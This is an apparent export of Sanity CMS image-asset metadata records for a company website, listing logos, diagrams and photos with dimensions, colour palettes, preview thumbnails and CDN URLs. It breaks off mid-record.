{"_createdAt":"2023-11-19T00:34:58Z","_id":"image-9acb7f14bb3e3f7440b8149afbd90b01a1889acd-5120x2880-png","_rev":"BjY9n6joNYFLmv1rrz5v4t","_type":"sanity.imageAsset","_updatedAt":"2023-11-19T00:34:58Z","assetId":"9acb7f14bb3e3f7440b8149afbd90b01a1889acd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5SsBK-=WW-=WW~qa}fQa#j@s-azfQWWa|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2880,"width":5120},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAAx0lEQVQokW1SCQ7DMAjL/9+7lSsTExhoOk1CFbFsDtP1Zmd1sQjbrhZPFpcEdTcoSdOi2Y5kXZwk8D7xldSruSVvp1i0QE0lKq6CsrM2r8rZI0HOB7Io52F1yipoi0WQlHJAiRw9YuxaJoOk4i8ojbD6xb6i0kzSPDQBCB4M0x6YxF/UO8MAuDU+66FHQ2trob/F8LY8g6t9lZlrTgDaAq+cGM/n4P0LnFMUqNm5zGwbT8+pxbVOIrcYZvyclNK5WR61bqS3+AIci4iY4ZStFAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#202078","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c68","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4fc","foreground":"#000","population":36.99,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4f4","foreground":"#000","population":0.2,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4fc","foreground":"#000","population":36.99,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#202078","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3636c8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hero background light.png","path":"images/sczeoy4w/production/9acb7f14bb3e3f7440b8149afbd90b01a1889acd-5120x2880.png","sha1hash":"9acb7f14bb3e3f7440b8149afbd90b01a1889acd","size":264295,"uploadId":"uoepvFs9ErDFKhbGOlS1hdiKOx3C9SSE","url":"https://cdn.sanity.io/images/sczeoy4w/production/9acb7f14bb3e3f7440b8149afbd90b01a1889acd-5120x2880.png"} {"_createdAt":"2022-09-01T13:47:01Z","_id":"image-9ad3f3e75905c9b74304c860d5eb23283df6126a-239x42-svg","_rev":"xg85uGn4EJK0In0bVh5aFp","_type":"sanity.imageAsset","_updatedAt":"2022-09-01T13:47:01Z","assetId":"9ad3f3e75905c9b74304c860d5eb23283df6126a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4p5$Acx|x{tUo$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.690476190476191,"height":42,"width":239},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAv0lEQVQImS3NzypEcQDF8c+VhbE2NpNRFpIaWXgKmTLiRmTKKNOM/0pRJAuyUFayZcPCzmbewfrWPMM1Dd5AP/0Wp1PfczpHepvf7T/1PtuP/c7CWbY6NDJTwVQyMDiGacxhAiUEVo4eNBm6GI95yfZD7+Pm7Tu/fv3tplfZ6fDobBVrkmQFm2ii/s+oYREpNmIefD2ymvr91/vFSz8/f/7pLl9mR4ViZR4Nkl0c4ATH2IujS9jCIVrYib12OP8Dj4ktz2Ca/jwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33556d","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e398c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#376af8","foreground":"#fff","population":1.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9db4c4","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98bef5","foreground":"#000","population":0.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5cac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#376af8","foreground":"#fff","population":1.29,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-h-kubernetes.svg","path":"images/sczeoy4w/production/9ad3f3e75905c9b74304c860d5eb23283df6126a-239x42.svg","sha1hash":"9ad3f3e75905c9b74304c860d5eb23283df6126a","size":10928,"uploadId":"6MYofP8bXNztU6rP2KQNrjIHjKzU7yk0","url":"https://cdn.sanity.io/images/sczeoy4w/production/9ad3f3e75905c9b74304c860d5eb23283df6126a-239x42.svg"} {"_createdAt":"2022-11-16T09:07:32Z","_id":"image-9adacaf85b1441b07e2a5d97d23c423601a76075-1200x304-png","_rev":"YI3rks3mbRtnzMpdn7Klmk","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T09:09:24Z","altText":"Rahul Kunnath quote","assetId":"9adacaf85b1441b07e2a5d97d23c423601a76075","description":"“This is my first conference outside India, so it’s very special for me. I’ve met so many people here and it’s been great talking to people from other countries about the technology stacks they’re working with.”","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.9473684210526314,"height":304,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsSAAALEgHS3X78AAAA6ElEQVQYlXWQvU7DQBCEB4RCLAIFyITEd8Sx/SDu8xChCAUSbWZFxeuBxANQ8hoIs4v2zvw0FJ9mb3aKuYUSF0pcKbFQYqlEZYJKiahEUEnvqIJrI6IRwQRLEyxGDSZYJSVKmKD8Y9aOEmsTtEY0KmjSnFl/Z9LMtOtG3CsxEPOBqAei/SRazaHGVQVxbJtaeyPNrarUPP/AM443PsPTbjZ/3s1WL7cn9dv9JLzvD3zhJ7g0wakJChNMjT86dVX3s1eoq/vEEbZ9V277Ltz0XfW4ieevd0VhDzj+2GNigkMjoAI/zf/wly/a9ZaL43qe5QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#483528","foreground":"#fff","population":1.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#864105","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#483528","foreground":"#fff","population":1.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#854313","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eeb48b","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946e51","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#964c16","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Sustainability-update-quote-Rahul.png","path":"images/sczeoy4w/production/9adacaf85b1441b07e2a5d97d23c423601a76075-1200x304.png","sha1hash":"9adacaf85b1441b07e2a5d97d23c423601a76075","size":21278,"title":"Rahul Kunnath quote","uploadId":"o1SCoGvRpwqwF2Tssac3tO5qdQdMjnGa","url":"https://cdn.sanity.io/images/sczeoy4w/production/9adacaf85b1441b07e2a5d97d23c423601a76075-1200x304.png"} {"_createdAt":"2024-08-05T08:47:59Z","_id":"image-9adeec5d11d9a8e3c638ec4640633531b2932375-1999x1036-png","_rev":"YaKEzcVhnb7P0fmfvP2Mpr","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T08:47:59Z","assetId":"9adeec5d11d9a8e3c638ec4640633531b2932375","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4Ss1]9Gxv%h%g~DIAMxtRbvxZVsIUt6fl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9295366795366795,"height":1036,"width":1999},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABN0lEQVQokVXRi27kIAwF0Pn//9zVdJs0AWNfv6ArJ9NWjVAkBAeuzePj394bCaOdtG/HeTQwu3vmmvPXWKv+GRmRmTnnfGzvZ2tDOrfntv95tm1Hb6AhYmZRe3K5TdUyM3N6rMw6aa3HtrXeGZ3puR1/3/q+4zzo4zxOIoaZuyUPJ1KFhdYxK/Pz+h7HQWNAWWmn8/0YraF3OtveqI+63S3GMCIA6oVtzfnCRBAx1eisnRhAmKlqH0yDzTwihQsrLK/Mn2u9sIgrXC26KknlzMwIg7CwuEdh8cJqGVXtLQsDN/YuIBbV2j5DHV1xYU8RGxeupa/MX7hq+Y6tHp4OQ4OMq2GhrHwv1RP+xleZIbDBIgJVNQXAEAHM1FRUWAC9W/Cd/Aermgj45U3VrDpX/b6nRevmH/wfHa1FpqAT3WIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#66565c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#20668b","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9a7ab","foreground":"#000","population":1.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9a7ab","foreground":"#000","population":1.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a1bc","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a26280","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc3c4c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bigquery-kafka-create-new-service.png","path":"images/sczeoy4w/production/9adeec5d11d9a8e3c638ec4640633531b2932375-1999x1036.png","sha1hash":"9adeec5d11d9a8e3c638ec4640633531b2932375","size":132877,"uploadId":"ewwDjYg6tL9Ce7hW0xSaUJBIDhEDbq9i","url":"https://cdn.sanity.io/images/sczeoy4w/production/9adeec5d11d9a8e3c638ec4640633531b2932375-1999x1036.png"} {"_createdAt":"2024-07-17T12:53:54Z","_id":"image-9b01b0a773b4b098e15eebbda02b7d93243c2fe8-1600x1226-png","_rev":"jEln45CgOQD4spzxezDdu9","_type":"sanity.imageAsset","_updatedAt":"2024-07-17T12:53:54Z","assetId":"9b01b0a773b4b098e15eebbda02b7d93243c2fe8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VQI;n]jF0Ko}n4I9kB56W;xZ=Eae9uW=RP~Xj[tlofjZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3050570962479608,"height":1226,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABwgAAAcIAHND5ueAAAEpElEQVQ4jT2SeVATdxzFf4JHlGoYi6Jo0aIWoShHbUtpKdJhtPWeVlvBOigqCsgd0WoPVIK09cCKCFhbq3ZUFCKIFONUBeQMSUwCJLub3ezuL7ubTZYzFgQp2wHHvpn3z/vO+8z3jwcAACAiIgKIo8NAFEWACv+49dWXbRoq3l/17/E13OjR1V2jOWu7RnPW2UYu7NOMPLr2aERdc+O5oX4d4+iWPBdFMMTTQKlUgv8VGRkJxCHnOBBDEQ9eW5clKK/gfRXnXgw8+H148PH1FwO1N4YGNA/6hqGpd8ROo88F7pDd4Zg91hlzc3PzS1hQUBAICQkB3RbTBNFpB51tTZ4WVZ2cbKjptrY+FB24UeRpi8hRFlHgGHHA2S+ODA/1DQ0OnhUEYcEroFqtfgkMDg4GgYGB4+FoLw9Qw1MP2qDKpDUNWrZTQ9mstMXKMCQNraSN5y3OZ8+o4eEX+sHBwWyHwzH/FbC+vv4lMDQsyiXykw0uySmHXcYOCIpNY3E0jEMMe+0WNN3BMWk8TWbaSLPMzrHpPT09aU6nM6G3tzeCpuGMsc7F32omJKYWgOjYUwAEBPi+ttT3Tbcli70k7tOBS+6Jwy46bauENHfMsFpJKUsY3XnlFU97RcFcTlc3EzK0lCJRqU6nnlpSfGr8iVce15KlUf4h724OXhEaE+Qf+NWC1+dETffw+szdd9nX3v5BO3wWLvp83nLpW+4fewXMXL5sq3fAO7t8FvlFvzHDI0o6a96n05eviJsfGp64OPi93Qvn+2yaDWJ35yWmZBaezcgqvpicXpi2Y8/JoN0J+VFpB0rksm8uFaXKig7tSTgdGhd/Mnx/+vnvMg6WFKfKirL3JOZHbN/104qktPOyjIMlRSmZF/J2xv+8HdxSNF9WVKksd6pU/Xf/Ut9VVLZuuKVo2n+nqs1QWa1xVlarHysqW2IuX3sQ+8c1ZeON23VOxd0WtaKyJf76rbovSssb7pdVNPWXVzRjpWX1hQAj7LdNGNdjRFmRoIRaC9W1GcPtmQjO0wjOj2VaCyXsVGuR+MYWQ3ubFhVNGIsTlCPFhDLRHSbY2GGCImLmBNTMXgE05AspmtWRFAMZxn6TZYW1LCfEW618Aw05yHKOeza++0sIbdtwnFKazSSEVlstz3fHcZywkWHt5TTNQQhtGopiTwOjEVtPIEgyaeo8QpvxdBKnY6CFjoMYlkWbOr+FBJFF4vROioB7rTjxPUSMcoYk8yDJJFvM9D5Iwl+sBHGeNBkz9E8Na8DVqzel+tJLs2z3Lvsw7br1BEIcoxDzAVvz3x84yguWWHXqdUg7JjfqkVOUpi26q+FeGIeY9mJG4pxBh/6KdmAFbGd7LHm/dFGBPEc6thxXAICLQbZqKqVq8MPajRtxQ8cqqvpPLyLtQzf8yUNfvUq/Sdui24I8qQ3kKi/OITRt7+va2re2NulidSr9FrOqJbDupGzaOMvbe4Grn//brqtXfuT6Q2ripKIfc6ecy8mekrRty8SNkWETjyTFT8o/enRK/vHjkuz0lMkJMZsn5h7KmnzmWI7kzDG55GyOXJIty5y8Mjzc1XPOXNf/AMgE1BSQYNBtAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54312f","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b1309","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4530d","foreground":"#fff","population":1.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b5a3","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb469","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#987b68","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4530d","foreground":"#fff","population":1.55,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-aiven-platform-resiliency.png","path":"images/sczeoy4w/production/9b01b0a773b4b098e15eebbda02b7d93243c2fe8-1600x1226.png","sha1hash":"9b01b0a773b4b098e15eebbda02b7d93243c2fe8","size":309578,"uploadId":"9WvbA7oHPXn4Szkw6y5nTa19CSJLRbYR","url":"https://cdn.sanity.io/images/sczeoy4w/production/9b01b0a773b4b098e15eebbda02b7d93243c2fe8-1600x1226.png"} {"_createdAt":"2022-07-06T08:12:06Z","_id":"image-9b28317a07c8fcaf77ac447ab60252e031bdeae6-64x64-svg","_rev":"qkpX9b3U0TpOGFQp9fOszw","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:21:46Z","altText":"Aiven for Apache Cassandra® logo","assetId":"9b28317a07c8fcaf77ac447ab60252e031bdeae6","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD60lEQVQ4jWVVTVNcRRR9LPgBce0aKxvduFcX/gH/RIKuVFJ+VE1CgGRhMJZl1MRoYhnGKhgwEzJoRpiBIUwYhBQM88V73W8Yhvl4/cj0yyakpirca52eh6JZdL1edJ93zrnn3rYcpS2htGW3Ovj2CaVfEUq/I5QeFUqnhdIN6evnUulD7IXSKaH0iFD6baH0KdyRrScGA1hmU2kqfPuF0q8JpQeF0jPSDxzpB0+F0l3H00dYUumu6weB6wc2zgilzwqlB4Qf9MvagcGybL9jCd+AvSGUHpN+kBdKPys2O7zqKn5QbPL04zpPre9xIt/gFeFxsfmEcSY8Oxbe7ZetjnUscyAEE7anXwBocn2PxpM2DcUKdHZii96P5s3+8twO3VmtUVYq3mnrF7gT2jMgPN1nhZ4NSl/nAZax23Q949L5e2X6eKrA52IFujS3Q9+kBX27KOmLBzZfuFemr1OC0pU2haD5UP4pKzQXfjx75Cr+fknSxfsVgPCXfzoUzdV4vtwyUteqPj+SiibX93gsUTGgWamMfKH0tFD6LQCOwGR49utajUbum4N8LS3pp5Uq393c59hGnW9kXP7xYZVTlRZv1g8M6IXZMt3J1QiehoW6CMAUKrciPb6StOlK0ubb2V26Ou8wAOOb+zyetPm97/7id6+u8ifTRU5V2oYp5F/+fYey0gNgIJResMJsdRPbDR6eLdPNh1W6tVKFJMNsodxieHk6ssivnlswoGAK+fB0KFYg3JW+7gql9y3p60Pb00e4HImXaSJXo9vZKo8mKpwsNTlXVRyJl/jNsWU+fX7RMIV8eIpCfRDN09RGnR2lj4AFwOfHgJ//VqLoWo2wh/Q/ik0utTpGdiReNkzHkw5Pb9RNoS7NVWhwYouQUxN8AJ6U/OlMkW5kXMLhH5ZdnsjV+HHtwICCKeQDHIVC9RGpoViBEH5gGMnoV9cPnsLY0USFhmfLkEpz2w2+vtQDBVPIB3MUCguR6jG2CY0ge0VJAXAUfYvY/LK6Sx9NbtO1tGQEHKBgCvnwFIX6at4xkUJOEfCp9T3CXXkiNv8JNv78YQiaLDaNfDBDoW5lq/xzdtfkFOFHR+Xcl4Mdtl5gWm/JbhNAwRTy4Wk0VzPVv7nsmpwi/OiojO0R7khfb51ovaAvHFv/DAcwhXy012czRUL1I/ESfmAGBjoKvvXAAiecjxgwfZbT1v8bX9qMr1Kzw+hT+AjJWNijePCsN74MM4C9jvHleMqypNKW3DfT+qUBG7ZTFznFwv7EgIVnZ0Jm/XbDJMayHK/3BAgw/fcJQKHwZ4x7PAGHWMgZ+lUoPYwCHD8Btuf3MLyO9Tf6TQzMq2reywAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c444c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#060c1e","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2b74ae","foreground":"#fff","population":13.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8e6e9","foreground":"#000","population":11.04,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5eefc","foreground":"#000","population":9.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#747464","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b74ae","foreground":"#fff","population":13.38,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-cassandra.svg","path":"images/sczeoy4w/production/9b28317a07c8fcaf77ac447ab60252e031bdeae6-64x64.svg","sha1hash":"9b28317a07c8fcaf77ac447ab60252e031bdeae6","size":1294,"title":"Aiven for Apache Cassandra® logo","uploadId":"jUW5CyZ2xE6kWckGjNhPv4Vc2klvXrpX","url":"https://cdn.sanity.io/images/sczeoy4w/production/9b28317a07c8fcaf77ac447ab60252e031bdeae6-64x64.svg"} {"_createdAt":"2022-09-02T16:28:04Z","_id":"image-9b5ec06adebbc974c13a75db07da453477b15642-1200x630-jpg","_rev":"0gThdvMbf71ZLkDCR4td50","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:28:04Z","assetId":"9b5ec06adebbc974c13a75db07da453477b15642","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOPsbYysxuMI.TTKMxr?Xnt7%#Q-Sxs;Vs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGB//EACMQAAICAQMDBQAAAAAAAAAAAAECAwQABQYREjFBFSFxkcH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAL/xAAeEQACAgICAwAAAAAAAAAAAAABAgADESEEEiJBkf/aAAwDAQACEQMRAD8A3a1S1RrLtDbAjJ5AJ7Yj3rqlqlWqGCdVsVpA0o6uOpf3K6IAWXPv95O7ioVbe49PWxCrqVJIPn5yt7FfEx+NWHsw3rfzcabX1X1bRobbEdTcg8DyMMZVq8NaERQRrHGvZVHAGGarBCgGDYwZiVGBP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59443c","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc0c2c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cebba1","foreground":"#000","population":1.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cebba1","foreground":"#000","population":1.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8de61","foreground":"#000","population":0.13,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687484","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6650e","foreground":"#fff","population":0.72,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Security_Compliance_meta_preview.jpeg","path":"images/sczeoy4w/production/9b5ec06adebbc974c13a75db07da453477b15642-1200x630.jpg","sha1hash":"9b5ec06adebbc974c13a75db07da453477b15642","size":196949,"uploadId":"OpcC2yNrdh5jhOzkRhrW2THEWITSZCMu","url":"https://cdn.sanity.io/images/sczeoy4w/production/9b5ec06adebbc974c13a75db07da453477b15642-1200x630.jpg"} {"_createdAt":"2022-12-08T13:45:42Z","_id":"image-9b63cf62cf14df38f1640072fe227f3ad3e404a1-512x512-jpg","_rev":"cwf6PSmkIH3MXtFHys0Ly8","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:45:42Z","assetId":"9b63cf62cf14df38f1640072fe227f3ad3e404a1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"elJap0f6.TtRx]~qaetlf+jFbvoeIUWVRP%gofofofaekWWBjGaeay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYHCAX/xAAjEAABBAIBBAMBAAAAAAAAAAACAAEDBAURBgcSIUETIjFh/8QAFgEBAQEAAAAAAAAAAAAAAAAABAMF/8QAGxEAAgIDAQAAAAAAAAAAAAAAAAECAxEhMUH/2gAMAwEAAhEDEQA/ANT6icrbEsFMXESkbbkT68KY41zXc4RjaD42LT6deD13mqWcnSmqmFlwb7NGXd5/ulFcdaEbJSTxtXE/3u9I9jkrNGhRGt0YeMnWEM7SwgYvtiZn2iz3D9TOHV8bBA+ch7oRaMu7e9siYjLemcf8RzF6tkgjCYiCTyTH9tqtymRsWbUISEzCPoW0iI9gurwk4mA5LBPGG/lL0iIrR4Ql1n//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493937","foreground":"#fff","population":7.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#722424","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#493937","foreground":"#fff","population":7.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c69993","foreground":"#000","population":6.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1e9fc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad6b60","foreground":"#fff","population":6.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc6e5c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Claude Warren.jpg","path":"images/sczeoy4w/production/9b63cf62cf14df38f1640072fe227f3ad3e404a1-512x512.jpg","sha1hash":"9b63cf62cf14df38f1640072fe227f3ad3e404a1","size":21784,"uploadId":"5E2w3omRDydW8C9XpWIH9LoW9aef1Xqz","url":"https://cdn.sanity.io/images/sczeoy4w/production/9b63cf62cf14df38f1640072fe227f3ad3e404a1-512x512.jpg"} {"_createdAt":"2023-04-06T12:43:20Z","_id":"image-9b76a55452b7b07dbe97b69619079acea84ae0b3-1562x663-png","_rev":"WEM1s63asEf3GCsZHT3WO0","_type":"sanity.imageAsset","_updatedAt":"2023-04-06T12:51:00Z","altText":null,"assetId":"9b76a55452b7b07dbe97b69619079acea84ae0b3","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8SYs?V|i*xvs=_ORPNFV[WBujbHf,t7kW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3559577677224737,"height":663,"width":1562},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABOElEQVQYlU2N3WoUQRSE5/1fQFBQIoF4KXoRghJfIxqyRlmSqDuz031+qs7pHpGZRRE+iuKDooby5pO8/uAvL/XF+/LsrT5/l68u+9lVP7taNv7vyz95/rFdXA/Tl3253dvdg97u55v7+vkb7h64e4zdY37d2K20tT+1v/T7H/37z2EaZZqqiItxFqsKRYhRjIYwD1WY0RGGPBkggy1zGY6/5vlQtLo71UBGRDoCjMjGSHNi1clIMICIaK313pdhHqvMBguA7uC2PmVrmZmMQJCnAhLb6Trug1SYBLyZolYl6e7zXGqt2F4QEKjCzV3VTDTVmnmQg1uDN6KJWCkSDDM/HMZpmlSNDA9Ur+bipiIqRbJIF2uRA7wTPdjMoGoZ6Y5xPB6Ps6pFJJNGJSTcVE3r+ryAv3v/A1bhv4QwLm2PAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#705d66","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce1546","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f60443","foreground":"#fff","population":5.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbbfb8","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc68a4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#878186","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f60443","foreground":"#fff","population":5.16,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"klaw-ui.png","path":"images/sczeoy4w/production/9b76a55452b7b07dbe97b69619079acea84ae0b3-1562x663.png","sha1hash":"9b76a55452b7b07dbe97b69619079acea84ae0b3","size":130353,"title":null,"uploadId":"QKSPfDZCl8eR06vhmX